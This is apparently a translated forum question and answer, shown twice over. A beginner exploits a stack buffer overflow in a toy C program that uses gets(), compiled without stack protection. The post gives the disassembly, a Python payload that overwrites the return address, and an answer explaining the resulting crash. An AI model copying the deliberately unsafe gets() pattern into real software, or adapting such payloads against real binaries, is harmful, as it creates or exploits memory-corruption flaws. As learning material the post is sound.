在一个简单的 C 程序中使用 gets() 来利用缓冲区溢出
exploiting Buffer Overflow using gets() in a simple C program
我是缓冲区溢出攻击的新手,我从一个简单的 C 程序开始。
代码
#include <stdio.h>
#include <strings.h>
void execs(void){
printf("yay!!");
}
void return_input (void)
{
char array[30];
gets(array);
}
int main()
{
return_input();
return 0;
}
编译阶段
我通过禁用 stack protector
用 cc 编译了上面的程序:
cc test.c -o test -fno-stack-protector
使用objdump
转储的elf文件如下:
0804843b <execs>:
804843b: 55 push %ebp
804843c: 89 e5 mov %esp,%ebp
804843e: 83 ec 08 sub [=12=]x8,%esp
8048441: 83 ec 0c sub [=12=]xc,%esp
8048444: 68 10 85 04 08 push [=12=]x8048510
8048449: e8 b2 fe ff ff call 8048300 <printf@plt>
804844e: 83 c4 10 add [=12=]x10,%esp
8048451: 90 nop
8048452: c9 leave
8048453: c3 ret
08048454 <return_input>:
8048454: 55 push %ebp
8048455: 89 e5 mov %esp,%ebp
8048457: 83 ec 28 sub [=12=]x28,%esp
804845a: 83 ec 0c sub [=12=]xc,%esp
804845d: 8d 45 da lea -0x26(%ebp),%eax
8048460: 50 push %eax
8048461: e8 aa fe ff ff call 8048310 <gets@plt>
8048466: 83 c4 10 add [=12=]x10,%esp
8048469: 90 nop
804846a: c9 leave
804846b: c3 ret
0804846c <main>:
804846c: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048470: 83 e4 f0 and [=12=]xfffffff0,%esp
8048473: ff 71 fc pushl -0x4(%ecx)
8048476: 55 push %ebp
8048477: 89 e5 mov %esp,%ebp
8048479: 51 push %ecx
804847a: 83 ec 04 sub [=12=]x4,%esp
804847d: e8 d2 ff ff ff call 8048454 <return_input>
8048482: b8 00 00 00 00 mov [=12=]x0,%eax
8048487: 83 c4 04 add [=12=]x4,%esp
804848a: 59 pop %ecx
804848b: 5d pop %ebp
804848c: 8d 61 fc lea -0x4(%ecx),%esp
804848f: c3 ret
所以,为了利用缓冲区(array
),我们需要通过查看转储找到 return_input
堆栈帧中分配的字节数,
lea -0x26(%ebp),%eax
是十六进制的 0x26
或十进制的大约 38。因此,输入为:
38+4(random chars)+(return addr of execs)
将执行 execs
函数。我使用了以下内容:
python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test
但是输出错误是:
Segmentation fault(core dumped)
当我使用gdb
打开core
(核心转储文件)时,我发现在以下地址执行时遇到了段错误:
0xb76f2300
系统信息:
Ubuntu version : 16.10
Kernel version : 4.8.0-46-generic
问题?
我在代码中做错了什么?
我想原因很简单:您没有暂停/中止您在execs
中的程序。该地址 0xb76f2300
在堆栈上,所以我怀疑是 execs
中的 return 在尝试 return 到存储的堆栈指针的值时失败。
您没有看到任何消息是因为 stdout
是 行缓冲,并且您的消息没有换行符,也没有你明确地冲洗了吗?因此 yay!!
仍将在缓冲区中。
此外,使用调试器。
我是缓冲区溢出攻击的新手,我从一个简单的 C 程序开始。
代码
#include <stdio.h>
#include <strings.h>
void execs(void){
printf("yay!!");
}
void return_input (void)
{
char array[30];
gets(array);
}
int main()
{
return_input();
return 0;
}
编译阶段
我通过禁用 stack protector
用 cc 编译了上面的程序:
cc test.c -o test -fno-stack-protector
使用objdump
转储的elf文件如下:
0804843b <execs>:
804843b: 55 push %ebp
804843c: 89 e5 mov %esp,%ebp
804843e: 83 ec 08 sub [=12=]x8,%esp
8048441: 83 ec 0c sub [=12=]xc,%esp
8048444: 68 10 85 04 08 push [=12=]x8048510
8048449: e8 b2 fe ff ff call 8048300 <printf@plt>
804844e: 83 c4 10 add [=12=]x10,%esp
8048451: 90 nop
8048452: c9 leave
8048453: c3 ret
08048454 <return_input>:
8048454: 55 push %ebp
8048455: 89 e5 mov %esp,%ebp
8048457: 83 ec 28 sub [=12=]x28,%esp
804845a: 83 ec 0c sub [=12=]xc,%esp
804845d: 8d 45 da lea -0x26(%ebp),%eax
8048460: 50 push %eax
8048461: e8 aa fe ff ff call 8048310 <gets@plt>
8048466: 83 c4 10 add [=12=]x10,%esp
8048469: 90 nop
804846a: c9 leave
804846b: c3 ret
0804846c <main>:
804846c: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048470: 83 e4 f0 and [=12=]xfffffff0,%esp
8048473: ff 71 fc pushl -0x4(%ecx)
8048476: 55 push %ebp
8048477: 89 e5 mov %esp,%ebp
8048479: 51 push %ecx
804847a: 83 ec 04 sub [=12=]x4,%esp
804847d: e8 d2 ff ff ff call 8048454 <return_input>
8048482: b8 00 00 00 00 mov [=12=]x0,%eax
8048487: 83 c4 04 add [=12=]x4,%esp
804848a: 59 pop %ecx
804848b: 5d pop %ebp
804848c: 8d 61 fc lea -0x4(%ecx),%esp
804848f: c3 ret
所以,为了利用缓冲区(array
),我们需要通过查看转储找到 return_input
堆栈帧中分配的字节数,
lea -0x26(%ebp),%eax
是十六进制的 0x26
或十进制的大约 38。因此,输入为:
38+4(random chars)+(return addr of execs)
将执行 execs
函数。我使用了以下内容:
python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test
但是输出错误是:
Segmentation fault(core dumped)
当我使用gdb
打开core
(核心转储文件)时,我发现在以下地址执行时遇到了段错误:
0xb76f2300
系统信息:
Ubuntu version : 16.10
Kernel version : 4.8.0-46-generic
问题?
我在代码中做错了什么?
我想原因很简单:您没有暂停/中止您在execs
中的程序。该地址 0xb76f2300
在堆栈上,所以我怀疑是 execs
中的 return 在尝试 return 到存储的堆栈指针的值时失败。
您没有看到任何消息是因为 stdout
是 行缓冲,并且您的消息没有换行符,也没有你明确地冲洗了吗?因此 yay!!
仍将在缓冲区中。
此外,使用调试器。